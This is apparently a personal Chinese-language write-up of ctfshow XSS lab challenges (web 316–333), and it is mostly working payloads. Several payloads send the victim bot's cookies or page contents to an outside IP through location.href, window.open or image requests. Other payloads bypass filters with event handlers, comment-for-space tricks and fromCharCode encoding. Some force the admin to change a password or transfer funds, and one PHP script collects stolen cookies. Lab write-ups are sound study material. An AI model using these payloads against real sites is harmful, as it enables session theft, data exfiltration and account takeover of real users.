XSS
web 316
XSS 题,网页给了提示,反射型 XSS
填入简单的 payload
<script>alert(document.cookie)</script>
显示不是 admin,这里是看 wp 的,和之前做 burplab 不同的地方,这里需要XSS 的不是自己的信息,这里有一个后台的 bot ,会访问你的 XSS 代码,所以需要获取他的信息

这里利用 vps 创建一个 php 服务,让用户访问时带上一个参数
<?php
$content = $_GET['cookie'];
if(isset($content)){
file_put_contents('./flag.txt',$content);
}else{
echo 'no thing';
}
然后创建服务
php -S 0.0.0.0:8080
接着使用这个 payload 发送上去,bot 就会触发这个,将 cookie 给到 vps
<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>
location.href:将页面重定向到后面的 url

web 317
这里应该是过滤了 script,没有效果
用 onerror 成功
<img src="" onerror=alert("1")>

<img src="" onerror=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>
成功

web 318
不清楚是过滤了 img 还是 onerror
使用 body 配合 onload 就行
<body onload=alert("1")>

<body onload=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>
成功拿到
这里突然发现,好像都不用写 php ,直接在 url 里看就行(

这里学到一个奇怪的绕过方法
<body οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,48,49,46,51,53,46,49,53,49,46,52,50,58,56,48,56,48,47,105,110,100,101,120,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>
document.write():将字符串写入 HTML 页面中
String.fromCharCode:将 ascii 转化为字符串
所以这个就相当于
<body οnlοad=document.write(String.fromCharCode(
<script>document.location.href='http://101.35.151.42:8080/index.php?cookie='+document.cookie</script>
);>
随便写个脚本就行
code = "<script>document.location.href='http://101.35.151.42:8080/index.php?cookie='+document.cookie</script>"
for i in code :
asc = ord(i)
print(asc,end=',')
web 319
不清楚过滤了什么,但是 body 照样能用
web 320
body 被过滤了,但是是配合 <>就被 waf
搞错了,是过滤了空格,使用注释 /**/ 来绕过,一些经常用的空格绕过方法好像都行
<body/**/onload=alert("1")>
<body/**/onload=location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie>
web 321-326
同上一题,难绷,搞这么多反射型的,但是一个 paylaod 过完了
web 327
到存储型 XSS 了,这里测试了一会发现一直网络拥堵,还以为不是这个漏洞点,后面看了下 wp 发现是收件人要是 admin ,有点妹想到

最后用之前的 payload 就行,这题没有过滤什么东西
<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>
web 328
有一个注册页面,发现在用户管理页面管理员是可以看到用户名的,所以应该是在用户名的地方进行 XSS

<script>location.href="http://101.35.151.42:8080/index.php?cookie="+document.cookie</script>
从管理员那里先拿到 cookie

然后访问,但是因为有这个东西,一直访问的时候就跳转了(

只能用 burp 拦截了

web 329
这里同样拿到 cookie ,但是好像会马上失效
这里学到了用 XSS 获取页面的元素
<script>
window.open('http://101.35.151.42:8080/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[2].innerHTML)
</script>
window.open:这个和location.href有区别,这个就不会出现上面的问题,会在新窗口打开页面
document.getElementsByClassName:获取 HTML 页面中带有指定类名的元素
innerHTML 和outerHTML
innerHTML :获取元素内部所有的 HTML
outerHTML:获取元素自身和内部所有 HTML
成功获取到 flag

跟着 wp 学到的第二个方法,使用 jQuery 选择器
$('.laytable-cell-1-0-1').each(function(index,value){
console.log(value);
});
逐个遍历 class 为
.laytable-cell-1-0-1 ,因为前面看到的是layui-table-cell laytable-cell-1-0-1,是有两个类的意思,这里主要获取密码这个类就行,所以用后面的那个
each :对当前jQuery 选中的每一个元素执行一次指定的回调函数,就是后面的function ,这里接收两个参数,index、value
利用这个构造 payload
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')>-1){
window.open('http://101.35.151.42:8080/'+value.innerHTML);
}});
</script>
indexOf():这个是遍历中的条件语句,检查当前的元素中是否包含字符串,绕过包含则返回大于 -1 的索引,否则返回 -1
querySelector 获取元素
querySelector 是 js 中用于从文档中获取元素的方法,通过指定 CSS 选择器来查找
var element = document.querySelector(CSSselector);
CSSselector就是要查找的元素选择器
<script>
var img = new Image();
img.src = "http://101.35.151.42:8080/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
</script>
document.body.append(img):将创建的图像元素 img 添加到页面的 body 中
web 330
这里多了一个修改密码的页面

使用上一题的 payload 发现传过来的是 *,使用 cookie 也不行

使用 outerHTML 测试发现就是没有显示
<script>
window.open('http://101.35.151.42:8080/?cookie='+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[6].outerHTML)
</script>

都走不通感觉就是要修改 admin 的密码去登录,修改密码,抓包
发现用的是这个路由修改的,那就让 bot 自己修改密码

然后使用这个 payload 就可以修改 admin 的密码
<script>
window.location.href='http://127.0.0.1/api/change.php?p=123';
</script>
<script>
window.open('http://127.0.0.1/api/change.php?p=123');
</script>

web 331
抓包看到这里的请求变成了 post 请求

<script>
$.ajax({url:"/api/change.php",method:"POST",data:{'p':'123'}});
</script>
$.ajax():这个是jQuery中的一个方法,用于发起异步 HTTP 请求
成功获取

web 332
多了一个转账汇款的功能,猜测就是让 admin 用户给你转账

测试的时候发现了几个问题,一个就是登录的时候去购买 flag 依旧显示先登录,并且在转账的时候显示有内鬼
这里是转账的请求

<script>
$.ajax({url:"/api/amount.php",method:"POST",data:{'u':'1','a':'9999'},success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>
难绷,拿到了这个还是让我先登录,服了(

那试试让 admin 去拿
<script>
$.ajax({url:"/api/getFlag.php ",method:"POST",success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>
得,返回来一个 admin 不需要 flag

我晕了,是账户的问题,换一个账户名就行,不能用1什么的

然后这里有一个非预期,给 admin 账户转 -100000 ,就会变成正的,逻辑好像是 5-(-100000) 然后变成正的
web 333
这个好像就是修复了上一题的非预期,但是我的 payload 没有问题
<script>
$.ajax({url:"/api/amount.php",method:"POST",data:{'u':'23','a':'9999'},success:function(response){window.open('http://101.35.151.42:8080/'+response)},error:function(){window.open('http://101.35.151.42:8080/error')}});
</script>

